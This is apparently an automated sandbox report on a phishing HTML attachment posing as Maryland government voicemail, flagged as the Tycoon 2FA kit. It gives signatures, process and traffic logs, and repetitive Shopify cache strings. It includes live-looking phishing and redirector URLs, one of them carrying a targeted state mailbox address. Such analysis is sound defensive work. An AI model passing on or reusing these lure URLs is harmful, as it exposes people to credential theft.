Edit tour

Windows Analysis Report
V-Mail_maryland.gov.html

Overview

General Information

Sample name:	V-Mail_maryland.gov.html
Analysis ID:	1472007
MD5:	48799cb77a7389a1ec8f7161e1ff6212
SHA1:	3a4dca81b9e265d57152fb5f17c03bcdf5039406
SHA256:	b987d6aa09ccf9d690ad82fa39794bb236bdd7d3874719b40807a5f233827636
Infos:

Detection

HTMLPhisher, Tycoon2FA

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

Multi AV Scanner detection for domain / URL

Yara detected HtmlPhish44

Yara detected Tycoon 2FA PaaS

Detected javascript redirector / loader

HTML page contains suspicious base64 encoded javascript

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Form action URLs do not match main URL

Found iframes

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains more sections than normal

PE file contains sections with non-standard names

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6540 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\V-Mail_maryland.gov.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3752 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2208,i,1097562011457733179,17414382723249164348,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5880 --field-trial-handle=2208,i,1097562011457733179,17414382723249164348,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3232 --field-trial-handle=2208,i,1097562011457733179,17414382723249164348,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_953	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author	Strings
5.0.pages.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security

HTTP traffic detected: POST /report/v4?s=%2BGG%2FT1IfJ%2B8eVuYCzd5gepLu8g%2FJVJMCyJItv8jjFC2WcC44W57DwYyI5ii8PQZSPzE4OM%2FTy%2BZWoZQGb61mWVBFuSxQyngg2UwiI0JSIGeEu303CVzn3vaLR7X6Nw%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 429Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: https://www.shopify.com/website/builder	HTTP Parser: Form action: https://identity.myshopify.io/store-create shopify myshopify
Source: https://www.shopify.com/website/builder	HTTP Parser: Form action: https://identity.myshopify.io/store-create shopify myshopify
Source: https://www.shopify.com/website/builder	HTTP Parser: Form action: https://identity.myshopify.io/store-create shopify myshopify
Source: https://www.shopify.com/website/builder	HTTP Parser: Form action: https://identity.myshopify.io/store-create shopify myshopify

Source: https://themes.shopify.com/?locale=en	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-TMHDF2L
Source: https://themes.shopify.com/?locale=en	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-TMHDF2L

Source: https://78tnc.seren1.com/78tnC/#Mdlbehavioralhealthadministration_mdh@maryland.gov	HTTP Parser: No favicon
Source: https://play.vidyard.com/V67aTvh67CARSGvSWPizgw?disable_popouts=1&type=inline&v=4.3.15	HTTP Parser: No favicon
Source: https://play.vidyard.com/V67aTvh67CARSGvSWPizgw?disable_popouts=1&type=inline&v=4.3.15	HTTP Parser: No favicon
Source: https://play.vidyard.com/V67aTvh67CARSGvSWPizgw?disable_popouts=1&type=inline&v=4.3.15	HTTP Parser: No favicon
Source: https://play.vidyard.com/V67aTvh67CARSGvSWPizgw?disable_popouts=1&type=inline&v=4.3.15	HTTP Parser: No favicon
Source: https://play.vidyard.com/V67aTvh67CARSGvSWPizgw?disable_popouts=1&type=inline&v=4.3.15	HTTP Parser: No favicon
Source: https://play.vidyard.com/V67aTvh67CARSGvSWPizgw?disable_popouts=1&type=inline&v=4.3.15	HTTP Parser: No favicon

Source: https://www.shopify.com/website/builder	HTTP Parser: No <meta name="author".. found
Source: https://www.shopify.com/website/builder	HTTP Parser: No <meta name="author".. found
Source: https://themes.shopify.com/?locale=en	HTTP Parser: No <meta name="author".. found
Source: https://themes.shopify.com/?locale=en	HTTP Parser: No <meta name="author".. found

Source: https://www.shopify.com/website/builder	HTTP Parser: No <meta name="copyright".. found
Source: https://www.shopify.com/website/builder	HTTP Parser: No <meta name="copyright".. found
Source: https://themes.shopify.com/?locale=en	HTTP Parser: No <meta name="copyright".. found
Source: https://themes.shopify.com/?locale=en	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:53750 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.5:60940 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:55226 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:53739 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 93.184.221.26 93.184.221.26
Source: Joe Sandbox View	IP Address: 69.49.245.172 69.49.245.172
Source: Joe Sandbox View	IP Address: 69.49.245.172 69.49.245.172

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: chromecache_696.2.dr	String found in binary or memory: ais","url_it":"https://www.youtube.com/c/ShopifyItaliano","url_jp":"https://www.youtube.com/c/ShopifyJapan","url_nl":"https://www.youtube.com/c/ShopifyNederlands","url_br":"https://www.youtube.com/c/ShopifyBrasil"},"instagram":{"text":"Instagram","url":"https://www.instagram.com/shopify/"},"tiktok":{"text":"TikTok","url":"https://www.tiktok.com/@shopify"},"linkedin":{"text":"LinkedIn","url":"https://www.linkedin.com/company/shopify"},"pinterest":{"text":"Pinterest","url":"https://www.pinterest.com/shopify/","url_jp":"https://www.pinterest.com/shopifyjp/"},"email":{"text":"Email","url":"mailto:"}},"tableOfContents":"Table of Contents","totalApps":6000,"totalThemes":70,"supportedLanguages":50,"totalGateways":100,"totalStores":1700000,"uptime":99.98,"waitlistForm":{"errors":{"general":"Something went wrong, try again later","emailFormat":"Email is formatted incorrectly"},"successMessage":"Done","placeholder":"Enter your email address","buttonText":"Signup"},"editionsEyebrow":{"text":"Shopify Editions \| Summer equals www.linkedin.com (Linkedin)
Source: chromecache_696.2.dr	String found in binary or memory: ais","url_it":"https://www.youtube.com/c/ShopifyItaliano","url_jp":"https://www.youtube.com/c/ShopifyJapan","url_nl":"https://www.youtube.com/c/ShopifyNederlands","url_br":"https://www.youtube.com/c/ShopifyBrasil"},"instagram":{"text":"Instagram","url":"https://www.instagram.com/shopify/"},"tiktok":{"text":"TikTok","url":"https://www.tiktok.com/@shopify"},"linkedin":{"text":"LinkedIn","url":"https://www.linkedin.com/company/shopify"},"pinterest":{"text":"Pinterest","url":"https://www.pinterest.com/shopify/","url_jp":"https://www.pinterest.com/shopifyjp/"},"email":{"text":"Email","url":"mailto:"}},"tableOfContents":"Table of Contents","totalApps":6000,"totalThemes":70,"supportedLanguages":50,"totalGateways":100,"totalStores":1700000,"uptime":99.98,"waitlistForm":{"errors":{"general":"Something went wrong, try again later","emailFormat":"Email is formatted incorrectly"},"successMessage":"Done","placeholder":"Enter your email address","buttonText":"Signup"},"editionsEyebrow":{"text":"Shopify Editions \| Summer equals www.youtube.com (Youtube)
Source: chromecache_696.2.dr	String found in binary or memory: ons"},{"src":"https://cdn.shopify.com/shopifycloud/brochure/assets/cms/logo-soup/ja-JP/kurasu-7955d235375f9b56e0ff55161cc35cc49bf54fe170ae4ea1ab928008463e7a69.svg","alt":"KURASU"}]}}},"footerData":{"navMain":[{"content":"Shopify","navItems":[{"content":"About","url":"/about"},{"content":"Careers","url":"/careers"},{"content":"Investors","url":"https://investors.shopify.com/home/default.aspx"},{"content":"Press and Media","url":"https://shopify.com/news"},{"content":"Partners","url":"/partners"},{"content":"Affiliates","url":"/affiliates"},{"content":"Legal","url":"/legal"},{"content":"Service status","url":"https://www.shopifystatus.com/"}]},{"content":"Support","navItems":[{"content":"Merchant support","url":"https://help.shopify.com/en/questions"},{"content":"Help center","url":"https://help.shopify.com/en/"},{"content":"Hire a Partner","url":"https://www.shopify.com/partners/directory"},{"content":"Shopify Community","url":"https://community.shopify.com/c/Shopify-Community/ct-p/en?utm_campaign=footer\u0026utm_content=en\u0026utm_medium=web\u0026utm_source=shopify"},{"content":"Shopify Events","url":"https://community.shopify.com/c/Shopify-Community/ct-p/en/home?utm_campaign=homepage\u0026utm_content=en\u0026utm_medium=web\u0026utm_source=shopify"}]},{"content":"Developers","navItems":[{"content":"Shopify.dev","url":"https://shopify.dev"},{"content":"API documentation","url":"https://shopify.dev/api"},{"content":"Dev Degree","url":"https://devdegree.ca"}]},{"content":"Products","navItems":[{"content":"Shop","url":"https://shop.app"},{"content":"Shop Pay","url":"/shop-pay"},{"content":"Shopify Plus","url":"/plus"},{"content":"Shopify Fulfillment Network","url":"/fulfillment"},{"content":"Linkpop","url":"https://linkpop.com/"},{"content":"Shopify for enterprise","url":"/enterprise"}]},{"content":"Global impact","navItems":[{"content":"Sustainability","url":"/climate"},{"content":"Social impact","url":"/about/social-impact"},{"content":"Build Black","url":"https://www.shopify.com/1mbb"},{"content":"Build Native","url":"https://buildnative.shop"},{"content":"Research","url":"/plus/commerce-trends"}]},{"content":"Solutions","navItems":[{"content":"Online store builder","url":"/online"},{"content":"Website builder","url":"/website/builder"},{"content":"Ecommerce website","url":"/tour/ecommerce-website"}]}],"navLegal":[{"text":"Terms of Service","url":"/legal/terms"},{"text":"Privacy Policy","url":"/legal/privacy"},{"text":"Manage Privacy","url":"#privacy"},{"text":"Sitemap","url":"/sitemap"},{"text":"Privacy Choices","url":"https://privacy.shopify.com/en"}],"navSocial":[{"name":"facebook","text":"Facebook","url":"https://www.facebook.com/shopify"},{"name":"twitter","text":"Twitter","url":"https://twitter.com/shopify"},{"name":"youtube","text":"YouTube","url":"https://www.youtube.com/user/shopify"},{"name":"instagram","text":"Instagram","url":"https://www.instagram.com/shopify/"},{"name":"tiktok","text":"TikTok","url":"https://www.tiktok.com/@shopify"
Source: chromecache_696.2.dr	String found in binary or memory: ons"},{"src":"https://cdn.shopify.com/shopifycloud/brochure/assets/cms/logo-soup/ja-JP/kurasu-7955d235375f9b56e0ff55161cc35cc49bf54fe170ae4ea1ab928008463e7a69.svg","alt":"KURASU"}]}}},"footerData":{"navMain":[{"content":"Shopify","navItems":[{"content":"About","url":"/about"},{"content":"Careers","url":"/careers"},{"content":"Investors","url":"https://investors.shopify.com/home/default.aspx"},{"content":"Press and Media","url":"https://shopify.com/news"},{"content":"Partners","url":"/partners"},{"content":"Affiliates","url":"/affiliates"},{"content":"Legal","url":"/legal"},{"content":"Service status","url":"https://www.shopifystatus.com/"}]},{"content":"Support","navItems":[{"content":"Merchant support","url":"https://help.shopify.com/en/questions"},{"content":"Help center","url":"https://help.shopify.com/en/"},{"content":"Hire a Partner","url":"https://www.shopify.com/partners/directory"},{"content":"Shopify Community","url":"https://community.shopify.com/c/Shopify-Community/ct-p/en?utm_campaign=footer\u0026utm_content=en\u0026utm_medium=web\u0026utm_source=shopify"},{"content":"Shopify Events","url":"https://community.shopify.com/c/Shopify-Community/ct-p/en/home?utm_campaign=homepage\u0026utm_content=en\u0026utm_medium=web\u0026utm_source=shopify"}]},{"content":"Developers","navItems":[{"content":"Shopify.dev","url":"https://shopify.dev"},{"content":"API documentation","url":"https://shopify.dev/api"},{"content":"Dev Degree","url":"https://devdegree.ca"}]},{"content":"Products","navItems":[{"content":"Shop","url":"https://shop.app"},{"content":"Shop Pay","url":"/shop-pay"},{"content":"Shopify Plus","url":"/plus"},{"content":"Shopify Fulfillment Network","url":"/fulfillment"},{"content":"Linkpop","url":"https://linkpop.com/"},{"content":"Shopify for enterprise","url":"/enterprise"}]},{"content":"Global impact","navItems":[{"content":"Sustainability","url":"/climate"},{"content":"Social impact","url":"/about/social-impact"},{"content":"Build Black","url":"https://www.shopify.com/1mbb"},{"content":"Build Native","url":"https://buildnative.shop"},{"content":"Research","url":"/plus/commerce-trends"}]},{"content":"Solutions","navItems":[{"content":"Online store builder","url":"/online"},{"content":"Website builder","url":"/website/builder"},{"content":"Ecommerce website","url":"/tour/ecommerce-website"}]}],"navLegal":[{"text":"Terms of Service","url":"/legal/terms"},{"text":"Privacy Policy","url":"/legal/privacy"},{"text":"Manage Privacy","url":"#privacy"},{"text":"Sitemap","url":"/sitemap"},{"text":"Privacy Choices","url":"https://privacy.shopify.com/en"}],"navSocial":[{"name":"facebook","text":"Facebook","url":"https://www.facebook.com/shopify"},{"name":"twitter","text":"Twitter","url":"https://twitter.com/shopify"},{"name":"youtube","text":"YouTube","url":"https://www.youtube.com/user/shopify"},{"name":"instagram","text":"Instagram","url":"https://www.instagram.com/shopify/"},{"name":"tiktok","text":"TikTok","url":"https://www.tiktok.com/@shopify"
Source: chromecache_696.2.dr	String found in binary or memory: ons"},{"src":"https://cdn.shopify.com/shopifycloud/brochure/assets/cms/logo-soup/ja-JP/kurasu-7955d235375f9b56e0ff55161cc35cc49bf54fe170ae4ea1ab928008463e7a69.svg","alt":"KURASU"}]}}},"footerData":{"navMain":[{"content":"Shopify","navItems":[{"content":"About","url":"/about"},{"content":"Careers","url":"/careers"},{"content":"Investors","url":"https://investors.shopify.com/home/default.aspx"},{"content":"Press and Media","url":"https://shopify.com/news"},{"content":"Partners","url":"/partners"},{"content":"Affiliates","url":"/affiliates"},{"content":"Legal","url":"/legal"},{"content":"Service status","url":"https://www.shopifystatus.com/"}]},{"content":"Support","navItems":[{"content":"Merchant support","url":"https://help.shopify.com/en/questions"},{"content":"Help center","url":"https://help.shopify.com/en/"},{"content":"Hire a Partner","url":"https://www.shopify.com/partners/directory"},{"content":"Shopify Community","url":"https://community.shopify.com/c/Shopify-Community/ct-p/en?utm_campaign=footer\u0026utm_content=en\u0026utm_medium=web\u0026utm_source=shopify"},{"content":"Shopify Events","url":"https://community.shopify.com/c/Shopify-Community/ct-p/en/home?utm_campaign=homepage\u0026utm_content=en\u0026utm_medium=web\u0026utm_source=shopify"}]},{"content":"Developers","navItems":[{"content":"Shopify.dev","url":"https://shopify.dev"},{"content":"API documentation","url":"https://shopify.dev/api"},{"content":"Dev Degree","url":"https://devdegree.ca"}]},{"content":"Products","navItems":[{"content":"Shop","url":"https://shop.app"},{"content":"Shop Pay","url":"/shop-pay"},{"content":"Shopify Plus","url":"/plus"},{"content":"Shopify Fulfillment Network","url":"/fulfillment"},{"content":"Linkpop","url":"https://linkpop.com/"},{"content":"Shopify for enterprise","url":"/enterprise"}]},{"content":"Global impact","navItems":[{"content":"Sustainability","url":"/climate"},{"content":"Social impact","url":"/about/social-impact"},{"content":"Build Black","url":"https://www.shopify.com/1mbb"},{"content":"Build Native","url":"https://buildnative.shop"},{"content":"Research","url":"/plus/commerce-trends"}]},{"content":"Solutions","navItems":[{"content":"Online store builder","url":"/online"},{"content":"Website builder","url":"/website/builder"},{"content":"Ecommerce website","url":"/tour/ecommerce-website"}]}],"navLegal":[{"text":"Terms of Service","url":"/legal/terms"},{"text":"Privacy Policy","url":"/legal/privacy"},{"text":"Manage Privacy","url":"#privacy"},{"text":"Sitemap","url":"/sitemap"},{"text":"Privacy Choices","url":"https://privacy.shopify.com/en"}],"navSocial":[{"name":"facebook","text":"Facebook","url":"https://www.facebook.com/shopify"},{"name":"twitter","text":"Twitter","url":"https://twitter.com/shopify"},{"name":"youtube","text":"YouTube","url":"https://www.youtube.com/user/shopify"},{"name":"instagram","text":"Instagram","url":"https://www.instagram.com/shopify/"},{"name":"tiktok","text":"TikTok","url":"https://www.tiktok.com/@shopify"
Source: chromecache_696.2.dr	String found in binary or memory: ons"},{"src":"https://cdn.shopify.com/shopifycloud/brochure/assets/cms/logo-soup/ja-JP/kurasu-7955d235375f9b56e0ff55161cc35cc49bf54fe170ae4ea1ab928008463e7a69.svg","alt":"KURASU"}]}}},"footerData":{"navMain":[{"content":"Shopify","navItems":[{"content":"About","url":"/about"},{"content":"Careers","url":"/careers"},{"content":"Investors","url":"https://investors.shopify.com/home/default.aspx"},{"content":"Press and Media","url":"https://shopify.com/news"},{"content":"Partners","url":"/partners"},{"content":"Affiliates","url":"/affiliates"},{"content":"Legal","url":"/legal"},{"content":"Service status","url":"https://www.shopifystatus.com/"}]},{"content":"Support","navItems":[{"content":"Merchant support","url":"https://help.shopify.com/en/questions"},{"content":"Help center","url":"https://help.shopify.com/en/"},{"content":"Hire a Partner","url":"https://www.shopify.com/partners/directory"},{"content":"Shopify Community","url":"https://community.shopify.com/c/Shopify-Community/ct-p/en?utm_campaign=footer\u0026utm_content=en\u0026utm_medium=web\u0026utm_source=shopify"},{"content":"Shopify Events","url":"https://community.shopify.com/c/Shopify-Community/ct-p/en/home?utm_campaign=homepage\u0026utm_content=en\u0026utm_medium=web\u0026utm_source=shopify"}]},{"content":"Developers","navItems":[{"content":"Shopify.dev","url":"https://shopify.dev"},{"content":"API documentation","url":"https://shopify.dev/api"},{"content":"Dev Degree","url":"https://devdegree.ca"}]},{"content":"Products","navItems":[{"content":"Shop","url":"https://shop.app"},{"content":"Shop Pay","url":"/shop-pay"},{"content":"Shopify Plus","url":"/plus"},{"content":"Shopify Fulfillment Network","url":"/fulfillment"},{"content":"Linkpop","url":"https://linkpop.com/"},{"content":"Shopify for enterprise","url":"/enterprise"}]},{"content":"Global impact","navItems":[{"content":"Sustainability","url":"/climate"},{"content":"Social impact","url":"/about/social-impact"},{"content":"Build Black","url":"https://www.shopify.com/1mbb"},{"content":"Build Native","url":"https://buildnative.shop"},{"content":"Research","url":"/plus/commerce-trends"}]},{"content":"Solutions","navItems":[{"content":"Online store builder","url":"/online"},{"content":"Website builder","url":"/website/builder"},{"content":"Ecommerce website","url":"/tour/ecommerce-website"}]}],"navLegal":[{"text":"Terms of Service","url":"/legal/terms"},{"text":"Privacy Policy","url":"/legal/privacy"},{"text":"Manage Privacy","url":"#privacy"},{"text":"Sitemap","url":"/sitemap"},{"text":"Privacy Choices","url":"https://privacy.shopify.com/en"}],"navSocial":[{"name":"facebook","text":"Facebook","url":"https://www.facebook.com/shopify"},{"name":"twitter","text":"Twitter","url":"https://twitter.com/shopify"},{"name":"youtube","text":"YouTube","url":"https://www.youtube.com/user/shopify"},{"name":"instagram","text":"Instagram","url":"https://www.instagram.com/shopify/"},{"name":"tiktok","text":"TikTok","url":"https://www.tiktok.com/@shopify"
Source: chromecache_572.2.dr	String found in binary or memory: return b}AC.J="internal.enableAutoEventOnTimer";var jc=ka(["data-gtm-yt-inspected-"]),CC=["www.youtube.com","www.youtube-nocookie.com"],DC,EC=!1; equals www.youtube.com (Youtube)
Source: chromecache_696.2.dr	String found in binary or memory: t have a Shopify store? \u003ca href=\"{{deeplinkFreeTrial}}\" data-component-name=\"{{deeplinkFreeTrialName}}\"\u003eStart for free, then get your first {{paidTrialMonths}} months for {{paidTrialAmount}}/mo.\u003c/a\u003e"}},"social":{"facebook":{"text":"Facebook","url":"https://www.facebook.com/shopify","url_de":"https://www.facebook.com/shopifyDE","url_jp":"https://www.facebook.com/ShopifyJP"},"twitter":{"text":"Twitter","url":"https://twitter.com/shopify","url_jp":"https://twitter.com/ShopifyJP"},"youtube":{"text":"YouTube","url":"https://www.youtube.com/user/shopify","url_de":"https://www.youtube.com/c/ShopifyDeutsch","url_fr":"https://www.youtube.com/c/ShopifyFran equals www.facebook.com (Facebook)
Source: chromecache_696.2.dr	String found in binary or memory: t have a Shopify store? \u003ca href=\"{{deeplinkFreeTrial}}\" data-component-name=\"{{deeplinkFreeTrialName}}\"\u003eStart for free, then get your first {{paidTrialMonths}} months for {{paidTrialAmount}}/mo.\u003c/a\u003e"}},"social":{"facebook":{"text":"Facebook","url":"https://www.facebook.com/shopify","url_de":"https://www.facebook.com/shopifyDE","url_jp":"https://www.facebook.com/ShopifyJP"},"twitter":{"text":"Twitter","url":"https://twitter.com/shopify","url_jp":"https://twitter.com/ShopifyJP"},"youtube":{"text":"YouTube","url":"https://www.youtube.com/user/shopify","url_de":"https://www.youtube.com/c/ShopifyDeutsch","url_fr":"https://www.youtube.com/c/ShopifyFran equals www.twitter.com (Twitter)
Source: chromecache_696.2.dr	String found in binary or memory: t have a Shopify store? \u003ca href=\"{{deeplinkFreeTrial}}\" data-component-name=\"{{deeplinkFreeTrialName}}\"\u003eStart for free, then get your first {{paidTrialMonths}} months for {{paidTrialAmount}}/mo.\u003c/a\u003e"}},"social":{"facebook":{"text":"Facebook","url":"https://www.facebook.com/shopify","url_de":"https://www.facebook.com/shopifyDE","url_jp":"https://www.facebook.com/ShopifyJP"},"twitter":{"text":"Twitter","url":"https://twitter.com/shopify","url_jp":"https://twitter.com/ShopifyJP"},"youtube":{"text":"YouTube","url":"https://www.youtube.com/user/shopify","url_de":"https://www.youtube.com/c/ShopifyDeutsch","url_fr":"https://www.youtube.com/c/ShopifyFran equals www.youtube.com (Youtube)

Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /404new.php?2-68747470733a2f2f687265662e6c692f3f68747470733a2f2f3738746e432e736572656e312e636f6d2f3738746e432f-labyrinth&_=1720762035977 HTTP/1.1Host: newburymadison.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /404new.php?2-68747470733a2f2f687265662e6c692f3f68747470733a2f2f3738746e432e736572656e312e636f6d2f3738746e432f-labyrinth&_=1720762035977 HTTP/1.1Host: newburymadison.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
